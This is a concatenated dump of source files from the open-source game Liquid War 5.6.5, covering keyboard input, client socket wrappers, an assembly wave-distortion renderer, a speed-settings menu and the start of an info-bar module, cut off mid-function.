/* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : distor.h */ /* contenu : affichage avec des effets de vague */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_DISTOR #define LIQUID_WAR_INCLUDE_DISTOR /*==================================================================*/ /* includes */ /*==================================================================*/ #include /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ void init_distorsion_displayer (void); void prepare_wave_shapes (void); void disp_distorted_area (void); #endif liquidwar-5.6.5/src/alleg2.h0000664000372000037200000001103213407756104015244 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : alleg2.h */ /* contenu : reprogrammation de qq fonctions d'allegro */ /* date de modif : 3 mai 98 */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_ALLEG2 #define LIQUID_WAR_INCLUDE_ALLEG2 /*==================================================================*/ /* includes */ /*==================================================================*/ #include /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int my_textbox_proc (int, DIALOG *, int c); int my_button_proc (int, DIALOG *, int c); int my_text_proc (int msg, DIALOG * d, int c); int my_ctext_proc (int msg, DIALOG * d, int c); int my_slider_proc (int msg, DIALOG * d, int c); int my_edit_proc (int msg, DIALOG * d, int c); int my_list_proc (int msg, DIALOG * d, int c); BITMAP *my_create_bitmap (int w, int h); #endif liquidwar-5.6.5/src/keyboard.c0000664000372000037200000002236513407756104015704 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : keyboard.c */ /* contenu : gestion du clavier */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "config.h" #include "joystick.h" #include "keyboard.h" #include "mouse.h" #include "ticker.h" #include "log.h" /*==================================================================*/ /* constants */ /*==================================================================*/ /* * 1 second limit when polling the keyboard for "no key pressed" */ #define LW_KEYBOARD_WAITNOKEY_TICK_LIMIT 1000 /* * 10 seconds limit when polling the keyboard for a key */ #define LW_KEYBOARD_WAITKEYPRESSED_TICK_LIMIT 10000 /*==================================================================*/ /* variables globales */ /*==================================================================*/ static char ALLOWED_KEYBOARD_KEY[128] = { 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, }; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ int is_touched_key (int i) { int retval = 0; int found = 0; if (CONFIG_JOYSTICK_ON) switch (i) { case KEY_JOY1_UP: found = 1; retval = JOYSTICK_CONTROL_JOY1_UP; break; case KEY_JOY1_RIGHT: found = 1; retval = JOYSTICK_CONTROL_JOY1_RIGHT; break; case KEY_JOY1_DOWN: found = 1; retval = JOYSTICK_CONTROL_JOY1_DOWN; break; case KEY_JOY1_LEFT: found = 1; retval = JOYSTICK_CONTROL_JOY1_LEFT; break; case KEY_JOY1_B1: found = 1; retval = JOYSTICK_CONTROL_JOY1_B1; break; case KEY_JOY1_B2: found = 1; retval = JOYSTICK_CONTROL_JOY1_B2; break; case KEY_JOY1_B3: found = 1; retval = JOYSTICK_CONTROL_JOY1_B3; break; case KEY_JOY1_B4: found = 1; retval = JOYSTICK_CONTROL_JOY1_B4; break; case KEY_JOY2_UP: found = 1; retval = JOYSTICK_CONTROL_JOY2_UP; break; case KEY_JOY2_RIGHT: found = 1; retval = JOYSTICK_CONTROL_JOY2_RIGHT; break; case KEY_JOY2_DOWN: found = 1; retval = JOYSTICK_CONTROL_JOY2_DOWN; break; case KEY_JOY2_LEFT: found = 1; retval = JOYSTICK_CONTROL_JOY2_LEFT; break; case KEY_JOY2_B1: found = 1; retval = JOYSTICK_CONTROL_JOY2_B1; break; case KEY_JOY2_B2: found = 1; retval = JOYSTICK_CONTROL_JOY2_B2; break; } if (!found) switch (i) { case KEY_MOUSE_UP: retval = MOUSE_CONTROL_UP; break; case KEY_MOUSE_RIGHT: retval = MOUSE_CONTROL_RIGHT; break; case KEY_MOUSE_DOWN: retval = MOUSE_CONTROL_DOWN; break; case KEY_MOUSE_LEFT: retval = MOUSE_CONTROL_LEFT; break; default: if (i >= 128) { i -= 128; retval = (key[i] & KB_EXTENDED) && ALLOWED_KEYBOARD_KEY[i]; } else retval = (key[i] & KB_NORMAL) && ALLOWED_KEYBOARD_KEY[i]; } return retval ? 1 : 0; } /*------------------------------------------------------------------*/ void wait_no_key (void) { int touched, i; int start_tick; start_tick = get_ticker (); lw_mouse_reset_control (); do { /* * Force a all to poll_keyboard if needed */ keypressed (); touched = 0; lw_mouse_update_control (); my_poll_joystick (); for (i = 0; i < 256; ++i) if (is_touched_key (i)) touched = 1; } while (touched && get_ticker () < start_tick + LW_KEYBOARD_WAITNOKEY_TICK_LIMIT); } /*------------------------------------------------------------------*/ int wait_key_pressed (void) { int touched = 0, i, result = 0; int start_tick; start_tick = get_ticker (); lw_mouse_reset_control (); while ((!touched) && get_ticker () < start_tick + LW_KEYBOARD_WAITKEYPRESSED_TICK_LIMIT) { /* * Force a all to poll_keyboard if needed */ keypressed (); lw_mouse_update_control (); my_poll_joystick (); for (i = 0; i < 256 && !touched; ++i) if (is_touched_key (i)) { touched = 1; result = i; } } /* * We map all the >= 128 keys to [0-127] since the strongest bit * is used by allegro as a "modifier" which we do not care about * at all */ if (result >= 128) { result -= 128; } return result; } /*------------------------------------------------------------------*/ /* * Ugly hack to fix a UNIX bug. When one switches between workspaces, * under X, the keyboard functions go crazy. One solution: uninstall * and then reinstall the keyboad. It's ugly but it works... */ void lw_keyboard_reset_hack (void) { #ifdef UNIX { int keyboard_state = 0; clear_keybuf (); remove_keyboard (); keyboard_state = install_keyboard (); if (keyboard_state) { log_println_str ("Error: unable to reinstall keyboard"); } } #endif } liquidwar-5.6.5/src/sock2cli.c0000664000372000037200000001727013407756104015614 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : sock2cli.c */ /* content : wrapper functions used on the client */ /* last update : July 2md 2001 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include "sock2gen.h" #include "ticker.h" /*==================================================================*/ /* defines */ /*==================================================================*/ #ifdef WIN32 /* * There are some problems with network under Windows, I suspect this * is due to the fact W98 has some poor support network, and for some * unexplained reasons map send/recv goes very slow, even on a LAN. * So I set a higher value to the client timeout, hoping it will solve * the problem. */ #define LW_SOCK2CLI_TIMEOUT_MSEC 30000 #else /* * there's a 12 sec timeout by default on the client */ #define LW_SOCK2CLI_TIMEOUT_MSEC 15000 #endif /*==================================================================*/ /* variables globales */ /*==================================================================*/ /*==================================================================*/ /* static functions */ /*==================================================================*/ /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ int lw_sock_peek (int *sock, int len) { int result = 0; if (*sock >= 0) { result = lw_sock_peek_ex (sock, len); } return result; } /*------------------------------------------------------------------*/ int lw_sock_send_str (int *sock, char *str) { int result = 0; int limit_ticker; /* * Now when allegro is running all standard sleep() or select() * UNIX functions do not work because allegro's timer messes * things up. Therefore we do our own dirty ugly select... */ limit_ticker = get_ticker () + LW_SOCK2CLI_TIMEOUT_MSEC; while (limit_ticker > get_ticker () && !result && *sock >= 0) { if (lw_sock_send_str_ex (sock, str)) { result = 1; } } return result; } /*------------------------------------------------------------------*/ int lw_sock_recv_str (int *sock, char *str) { int result = 0; int limit_ticker; /* * Now when allegro is running all standard sleep() or select() * UNIX functions do not work because allegro's timer messes * things up. Therefore we do our own dirty ugly select... */ limit_ticker = get_ticker () + LW_SOCK2CLI_TIMEOUT_MSEC; while (limit_ticker > get_ticker () && !result && *sock >= 0) { if (lw_sock_recv_str_ex (sock, str)) { result = 1; } } return result; } /*------------------------------------------------------------------*/ int lw_sock_send_buffer (int *sock, char *buffer, int len) { int result = 0; int limit_ticker; /* * Now when allegro is running all standard sleep() or select() * UNIX functions do not work because allegro's timer messes * things up. Therefore we do our own dirty ugly select... */ limit_ticker = get_ticker () + LW_SOCK2CLI_TIMEOUT_MSEC; while (limit_ticker > get_ticker () && !result && *sock >= 0) { if (lw_sock_send_buffer_ex (sock, buffer, len)) { result = 1; } } return result; } /*------------------------------------------------------------------*/ int lw_sock_recv_buffer (int *sock, char *buffer, int len) { int result = 0; int limit_ticker; /* * Now when allegro is running all standard sleep() or select() * UNIX functions do not work because allegro's timer messes * things up. Therefore we do our own dirty ugly select... */ limit_ticker = get_ticker () + LW_SOCK2CLI_TIMEOUT_MSEC; while (limit_ticker > get_ticker () && !result && *sock >= 0) { if (lw_sock_peek_ex (sock, len)) { if (lw_sock_recv_buffer_ex (sock, buffer, len)) { result = 1; } } } return result; } liquidwar-5.6.5/src/glouglou.s0000664000372000037200000002373413407756104015762 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : glouglou.s */ /* contenu : affichage avec vagues accelere */ /* date de modif : 3 mai 98 */ /********************************************************************/ .equ BMP_W, 0 .equ BMP_H, 4 .equ BMP_CLIP, 8 .equ BMP_CL, 12 .equ BMP_CR, 16 .equ BMP_CT, 20 .equ BMP_CB, 24 .equ BMP_VTABLE, 28 .equ BMP_WBANK, 32 .equ BMP_RBANK, 36 .equ BMP_DAT, 40 .equ BMP_ID, 44 .equ BMP_EXTRA, 48 .equ BMP_XOFS, 52 .equ BMP_YOFS, 56 .equ BMP_SEG, 60 .equ BMP_LINE, 64 .equ VTABLE_UNBANK, 8 .equ ARG_DISTORSION_TARGET, 8 .equ ARG_CURRENT_AREA_W, 12 .equ ARG_W, 16 .equ ARG_Y, 20 .equ ARG_FP_X, 24 .equ ARG_IP_X, 28 .equ ARG_FP_Y, 32 .equ ARG_IP_Y, 36 .equ ARG_LIM_W, 40 .equ ARG_LIM_H, 44 .equ ARG_FP_X0, 48 .equ ARG_Y_CORRES, 52 .equ ARG_WAVE_SHAPE_WX, 56 .equ ARG_WAVE_SHAPE_X_CORRES, 60 .equ ARG_SRC, 64 .equ ARG_TEMP1, 68 # pointeur debut ligne .equ ARG_TEMP2, 72 # pointeur sur fc aff .equ ARG_TEMP3, 76 .equ ARG_TEMP4, 80 .equ ARG_TEMP5, 84 .text /*==================================================================*/ /* affichage de jolies distorsions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* void draw_distor_line (BITMAP *distorsion_target, */ /* int current_area_w, */ /* int w, */ /* int y, */ /* int fp_x, */ /* int ip_x, */ /* int fp_y, */ /* int ip_y, */ /* int lim_w, */ /* int lim_h, */ /* int *fp_x0, */ /* int *y_corres, */ /* int *WAVE_SHAPE_WX, */ /* int **WAVE_SHAPE_X_CORRES, */ /* char *src, */ /* int temp1, */ /* int temp2, */ /* int temp3, */ /* int temp4, */ /* int temp5); */ /*------------------------------------------------------------------*/ .globl __draw_distor_line .globl _draw_distor_line .globl draw_distor_line .align 4 __draw_distor_line: _draw_distor_line: draw_distor_line: pushl %ebp movl %esp, %ebp pushl %eax pushl %ebx pushl %ecx pushl %edx pushl %esi pushl %edi pushw %es pushw %fs mov ARG_SRC(%ebp),%esi mov ARG_CURRENT_AREA_W(%ebp),%edi movl ARG_DISTORSION_TARGET(%ebp), %edx # edx = bmp movl ARG_Y(%ebp), %eax # eax = y movl BMP_LINE(%edx, %eax, 4), %eax movl %eax,ARG_TEMP1(%ebp) # ARG_TEMP1 = ptr debut ligne xor %ecx,%ecx # ecx va servir pour stocker x main_loop: # putpixel (DISTORSION_TARGET, x,y *src) movl %ds:(%esi),%ebx # bl = color movl ARG_TEMP1(%ebp), %eax movb %bl, %ds:(%eax, %ecx) # store the pixel mov ARG_WAVE_SHAPE_X_CORRES(%ebp),%eax #eax=wave_shape_x_corres mov %ds:(%eax,%ecx,4),%eax # eax=wave_shape_x_corres[x] mov ARG_Y(%ebp),%ebx # ebx=y mov %ds:(%eax,%ebx,4),%eax # eax=wave_shape_x_corres[x][y] mov ARG_FP_X0(%ebp),%ebx # ebx=arg_fp_x0 mov %ds:(%ebx,%ecx,4),%edx # edx=arg_fp_x0[x] add %eax,%edx # edx+=eax mov %edx,%ds:(%ebx,%ecx,4) # on memorise en ram neg %edx # a ce stade edx contient -reste_x mov ARG_FP_X(%ebp),%eax # eax=fp_x mov ARG_WAVE_SHAPE_WX(%ebp),%ebx # ebx=wave_shape_wx add %ds:(%ebx,%ecx,4),%eax # fp_x+=wave_shape_wx[x] mov ARG_LIM_W(%ebp),%ebx # ebx=lim_w loop_while_1: cmp %edx,%eax # fp_x<-reste_x jnl exit_while_1 add %ebx,%eax # fp_x+=lim_w dec %esi # src-- jmp loop_while_1 exit_while_1: add %ebx,%edx loop_while_2: cmp %edx,%eax # fp_x>=-reste_x+lim_w jnge exit_while_2 sub %ebx,%eax # fp_x-=lim_w inc %esi # src++ jmp loop_while_2 exit_while_2: mov %eax,ARG_FP_X(%ebp) # on sauve fp_x mov ARG_FP_Y(%ebp),%eax # eax=fp_y mov ARG_Y_CORRES(%ebp),%ebx # ebx=y_corres add %ds:(%ebx,%ecx,4),%eax # fp_y+=y_corres[x] mov ARG_LIM_H(%ebp),%ebx # ebx=lim_h loop_while_3: cmp $0,%eax # fp_y<0 jnl exit_while_3 add %ebx,%eax # fp_x+=lim_h sub %edi,%esi # src-=current_area_w jmp loop_while_3 exit_while_3: loop_while_4: cmp %ebx,%eax # fp_y>=lim_h jnge exit_while_4 sub %ebx,%eax # fp_y-=lim_h add %edi,%esi # src+=current_area_w jmp loop_while_4 exit_while_4: mov %eax,ARG_FP_Y(%ebp) # on sauve fp_y /* mov ARG_TEMP1(%ebp),%ecx # ecx=x */ incl %ecx # x++ cmp ARG_W(%ebp),%ecx # x!=w ? je the_end jmp main_loop the_end: popw %fs popw %es popl %edi popl %esi popl %edx popl %ecx popl %ebx popl %eax /* movl %ebp, %esp*/ popl %ebp ret # retour au c /*------------------------------------------------------------------*/ /* affichage pour bitmap lineaire, golee dans allegro */ /*------------------------------------------------------------------*/ linear_putpixel8_for_distor_line: ret liquidwar-5.6.5/src/speeds.c0000664000372000037200000001736613407756104015374 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : speeds.c */ /* contenu : menu used to set up speeds */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include "advanced.h" #include "config.h" #include "dialog.h" #include "disk.h" #include "help.h" #include "menu.h" #include "rules.h" #include "sound.h" #include "time.h" #include "lang.h" #include "macro.h" /*==================================================================*/ /* constants */ /*==================================================================*/ #define LW_SPEEDS_FPS_SIZE 33 #define LW_SPEEDS_RPS_SIZE 33 /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ static void write_fps_setting (DIALOG * d) { char *str; str = d->dp; if (DISPLAY_DELAY_MIN[CONFIG_FRAMES_PER_SEC_LIMIT] != 0) { LW_MACRO_SNPRINTF2 (str, LW_SPEEDS_FPS_SIZE, "%d %s", 1000 / (DISPLAY_DELAY_MIN[CONFIG_FRAMES_PER_SEC_LIMIT]), lw_lang_string (LW_LANG_STRING_SPEEDS_FPS)); } else { LW_MACRO_SNPRINTF0 (str, LW_SPEEDS_FPS_SIZE, lw_lang_string (LW_LANG_STRING_SPEEDS_NOFPSLIMIT)); } } /*------------------------------------------------------------------*/ static int slider_fps (void *dp3, int d2) { DIALOG *d; d = dp3; CONFIG_FRAMES_PER_SEC_LIMIT = d2; write_fps_setting (d); scare_mouse (); my_textbox_proc (MSG_DRAW, d, 0); unscare_mouse (); play_click (); return 0; } /*------------------------------------------------------------------*/ static void write_rps_setting (DIALOG * d) { char *str; str = d->dp; if (LOGIC_DELAY_MIN[CONFIG_ROUNDS_PER_SEC_LIMIT] != 0) { LW_MACRO_SNPRINTF2 (str, LW_SPEEDS_RPS_SIZE, "%d %s", 1000 / (LOGIC_DELAY_MIN[CONFIG_ROUNDS_PER_SEC_LIMIT]), lw_lang_string (LW_LANG_STRING_SPEEDS_RPS)); } else { LW_MACRO_SNPRINTF0 (str, LW_SPEEDS_RPS_SIZE, lw_lang_string (LW_LANG_STRING_SPEEDS_NORPSLIMIT)); } } /*------------------------------------------------------------------*/ static int slider_rps (void *dp3, int d2) { DIALOG *d; d = dp3; CONFIG_ROUNDS_PER_SEC_LIMIT = d2; write_rps_setting (d); scare_mouse (); my_textbox_proc (MSG_DRAW, d, 0); unscare_mouse (); play_click (); return 0; } /*------------------------------------------------------------------*/ int speeds_options (void) { int *temp; DIALOG d[9]; int i, choix = 4, retour = 0; char fps_buffer[LW_SPEEDS_FPS_SIZE]; char rps_buffer[LW_SPEEDS_RPS_SIZE]; memset (d, 0, sizeof (d)); for (i = 0; i < 2; ++i) { standard_button (d + i + 4, 0, i, 2, 2); d[i + 4].proc = my_textbox_proc; } for (i = 0; i < 2; ++i) { standard_button (d + i + 6, 1, i, 2, 2); d[i + 6].proc = my_slider_proc; } quick_buttons (d); d[4].dp = fps_buffer; d[5].dp = rps_buffer; d[6].d1 = 8; d[7].d1 = 8; d[6].dp3 = &CONFIG_FRAMES_PER_SEC_LIMIT; d[7].dp3 = &CONFIG_ROUNDS_PER_SEC_LIMIT; for (i = 0; i < 2; ++i) { d[i + 6].dp = NULL; d[i + 6].dp2 = slider_int; temp = d[i + 6].dp3; d[i + 6].d2 = *temp; d[i + 6].dp3 = d + i + 4; } d[6].dp2 = slider_fps; d[7].dp2 = slider_rps; write_fps_setting (d + 4); write_rps_setting (d + 5); d[8].proc = 0; while (retour == 0) { choix = my_do_dialog (d, choix); switch (choix) { case -1: case MENU_QUICK_BACK: retour = 1; break; case MENU_QUICK_MAIN: retour = MENU_TOP; break; case MENU_QUICK_QUIT: if (confirm_quit ()) retour = MENU_EXIT; break; case MENU_QUICK_PLAY: retour = MENU_PLAY; break; } } if (retour > 0) retour--; return retour; } liquidwar-5.6.5/src/info.c0000664000372000037200000003423513407756104015036 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : info.c */ /* contenu : gestion de la barre d'information */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include "alleg2.h" #include "army.h" #include "back.h" #include "config.h" #include "info.h" #include "decal.h" #include "palette.h" #include "maptex.h" #include "texture.h" #include "time.h" #include "viewport.h" #include "watchdog.h" #include "macro.h" #include "network.h" #include "random.h" /*==================================================================*/ /* variables globales */ /*==================================================================*/ #define INFO_BAR_W 50 #define INFO_BAR_H 15 static BITMAP *INFO_BAR_BACK = NULL; static BITMAP *INFO_BAR = NULL; static int INFO_BAR_POS_X[NB_TEAMS]; static int INFO_BAR_POS_Y[NB_TEAMS]; static int INFO_BAR_POS_W; static int INFO_BAR_POS_H; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* on verifie si il y a des changements sur la barre d'etat */ /*------------------------------------------------------------------*/ /*------------------------------------------------------------------*/ int init_info_bar (int w, int h, int epaisseur) { int i, x, y; BITMAP *front, *back; if (INFO_BAR) destroy_bitmap (INFO_BAR); INFO_BAR = my_create_bitmap (w, h); INFO_BAR_BACK = my_create_bitmap (w, h); if (INFO_BAR && INFO_BAR_BACK) { if (w > h) { rectfill (INFO_BAR, 0, 0, epaisseur - 1, h - 1, MENU_BG); vline (INFO_BAR, epaisseur, 0, h - 1, MENU_FG); front = lw_maptex_create_fg (CONFIG_LEVEL_MAP, CONFIG_LEVEL_FG, LW_NETWORK_ON, LW_RANDOM_ON, CONFIG_USE_DEFAULT_TEXTURE); back = lw_maptex_create_bg (CONFIG_LEVEL_MAP, CONFIG_LEVEL_BG, LW_NETWORK_ON, LW_RANDOM_ON, CONFIG_USE_DEFAULT_TEXTURE); for (y = 0; y < h; y += front->h) for (x = epaisseur + 1; x < w; x += front->w) draw_sprite (INFO_BAR, front, x, y); INFO_BAR_POS_W = w - epaisseur - 5; INFO_BAR_POS_H = (h - 1) / PLAYING_TEAMS - 1; for (i = 0; i < PLAYING_TEAMS; ++i) { INFO_BAR_POS_X[i] = epaisseur + 3; INFO_BAR_POS_Y[i] = (h + 1 - PLAYING_TEAMS * (INFO_BAR_POS_H + 1)) / 2 + i * (INFO_BAR_POS_H + 1); for (y = INFO_BAR_POS_Y[i]; y < INFO_BAR_POS_Y[i] + INFO_BAR_POS_H; y++) for (x = INFO_BAR_POS_X[i]; x < INFO_BAR_POS_X[i] + INFO_BAR_POS_W; x++) putpixel (INFO_BAR, x, y, getpixel (back, (x - epaisseur - 1) % back->w, y % back->h)); } destroy_bitmap (back); destroy_bitmap (front); } else { rectfill (INFO_BAR, 0, 0, w - 1, epaisseur - 1, MENU_BG); hline (INFO_BAR, 0, 